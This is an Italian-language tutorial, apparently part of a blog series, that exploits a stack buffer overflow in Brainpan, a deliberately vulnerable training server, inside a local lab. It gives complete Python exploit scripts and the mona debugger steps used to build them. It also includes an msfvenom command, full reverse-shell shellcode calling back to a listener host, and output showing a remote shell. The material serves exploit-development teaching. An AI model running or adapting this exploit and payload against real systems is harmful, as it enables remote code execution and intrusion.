Secondo articolo della serie Buffer Overflow, target: Brainpan
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
Brainpan è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat.
Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5000 # change me
payload = b"A" * CRASH_LEN
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona
!py mona pc 5000
Riavvio Brainpan e aggiorno lo script inserendo il pattern
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5000 # change me
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag…"
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria
0:000> !py mona po 0x35724134
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x35724134
Looking for 4Ar5 in pattern of 500000 bytes
- Pattern 4Ar5 (0x35724134) found in cyclic pattern at position 524
Looking for 4Ar5 in pattern of 500000 bytes
Looking for 5rA4 in pattern of 500000 bytes
Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5000 # change me
OFFSET = 524
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT) # vulnserver
VULNSRVR_CMD = b"TRUN ."
CRASH_LEN = 5000
OFFSET = 524
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b"A" * OFFSET
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512) # Welcome to Vulnerable Server! ...
sent = sock.send(payload)
print(f"sent {sent} bytes")
Nessun carattere è stato eliminato/sostituito, quindi passiamo alla fase successiva.
L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)
0:000> !py mona jmp -r esp -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00'
[+] Results :
0x311712f3 | 0x311712f3 : jmp esp | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain\brainpan.exe)
Found a total of 1 pointers
Tutte le protezioni sono disabilitate, per cui scegliamo il primo.
Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x311712f3), in modo da vedere se è tutto a posto.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5000 # change me
OFFSET = 524
payload = b"A" * OFFSET
payload += struct.pack("<I",0x311712f3) # JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto. Facendo uno step (over o into, in questo caso è indifferente), vediamo che la prossima istruzione eseguita è proprio la C
Breakpoint 0 hit
eax=ffffffff ebx=00201000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
brainpan+0x12f3:
311712f3 ffe4 jmp esp {005ff910}
0:000> t
eax=ffffffff ebx=00201000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff910 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
005ff910 43 inc ebx
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00' EXITFUNC=thread
Il codice finale sarà
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 9999
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 5000 # change me
OFFSET = 524
shellcode = b""
shellcode += b"\xdb\xd6\xd9\x74\x24\xf4\xbb\x4c\x44\x20\xf7"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x5a\x17\x03\x5a\x17"
shellcode += b"\x83\x8e\x40\xc2\x02\xf2\xa1\x80\xed\x0a\x32"
shellcode += b"\xe5\x64\xef\x03\x25\x12\x64\x33\x95\x50\x28"
shellcode += b"\xb8\x5e\x34\xd8\x4b\x12\x91\xef\xfc\x99\xc7"
shellcode += b"\xde\xfd\xb2\x34\x41\x7e\xc9\x68\xa1\xbf\x02"
shellcode += b"\x7d\xa0\xf8\x7f\x8c\xf0\x51\x0b\x23\xe4\xd6"
shellcode += b"\x41\xf8\x8f\xa5\x44\x78\x6c\x7d\x66\xa9\x23"
shellcode += b"\xf5\x31\x69\xc2\xda\x49\x20\xdc\x3f\x77\xfa"
shellcode += b"\x57\x8b\x03\xfd\xb1\xc5\xec\x52\xfc\xe9\x1e"
shellcode += b"\xaa\x39\xcd\xc0\xd9\x33\x2d\x7c\xda\x80\x4f"
shellcode += b"\x5a\x6f\x12\xf7\x29\xd7\xfe\x09\xfd\x8e\x75"
shellcode += b"\x05\x4a\xc4\xd1\x0a\x4d\x09\x6a\x36\xc6\xac"
shellcode += b"\xbc\xbe\x9c\x8a\x18\x9a\x47\xb2\x39\x46\x29"
shellcode += b"\xcb\x59\x29\x96\x69\x12\xc4\xc3\x03\x79\x81"
shellcode += b"\x20\x2e\x81\x51\x2f\x39\xf2\x63\xf0\x91\x9c"
shellcode += b"\xcf\x79\x3c\x5b\x2f\x50\xf8\xf3\xce\x5b\xf9"
shellcode += b"\xda\x14\x0f\xa9\x74\xbc\x30\x22\x84\x41\xe5"
shellcode += b"\xe5\xd4\xed\x56\x46\x84\x4d\x07\x2e\xce\x41"
shellcode += b"\x78\x4e\xf1\x8b\x11\xe5\x08\x5c\xde\x52\x13"
shellcode += b"\xa0\xb6\xa0\x13\xc2\xc3\x2c\xf5\x98\xdb\x78"
shellcode += b"\xae\x34\x45\x21\x24\xa4\x8a\xff\x41\xe6\x01"
shellcode += b"\x0c\xb6\xa9\xe1\x79\xa4\x5e\x02\x34\x96\xc9"
shellcode += b"\x1d\xe2\xbe\x96\x8c\x69\x3e\xd0\xac\x25\x69"
shellcode += b"\xb5\x03\x3c\xff\x2b\x3d\x96\x1d\xb6\xdb\xd1"
shellcode += b"\xa5\x6d\x18\xdf\x24\xe3\x24\xfb\x36\x3d\xa4"
shellcode += b"\x47\x62\x91\xf3\x11\xdc\x57\xaa\xd3\xb6\x01"
shellcode += b"\x01\xba\x5e\xd7\x69\x7d\x18\xd8\xa7\x0b\xc4"
shellcode += b"\x69\x1e\x4a\xfb\x46\xf6\x5a\x84\xba\x66\xa4"
shellcode += b"\x5f\x7f\x86\x47\x75\x8a\x2f\xde\x1c\x37\x32"
shellcode += b"\xe1\xcb\x74\x4b\x62\xf9\x04\xa8\x7a\x88\x01"
shellcode += b"\xf4\x3c\x61\x78\x65\xa9\x85\x2f\x86\xf8"
payload = b"A" * OFFSET
payload += struct.pack("<I",0x311712f3) # JMP ESP
payload += b"\x90" * 10
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
with socket.create_connection(target) as sock:
sock.recv(512)
sent = sock.send(payload)
print(f"sent {sent} bytes")
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 20344
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain>whoami
whoami
desktop-p7jng2j\user
C:\Users\User\Desktop\Exploit\1.Stack Overflow\Brainpain>
In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: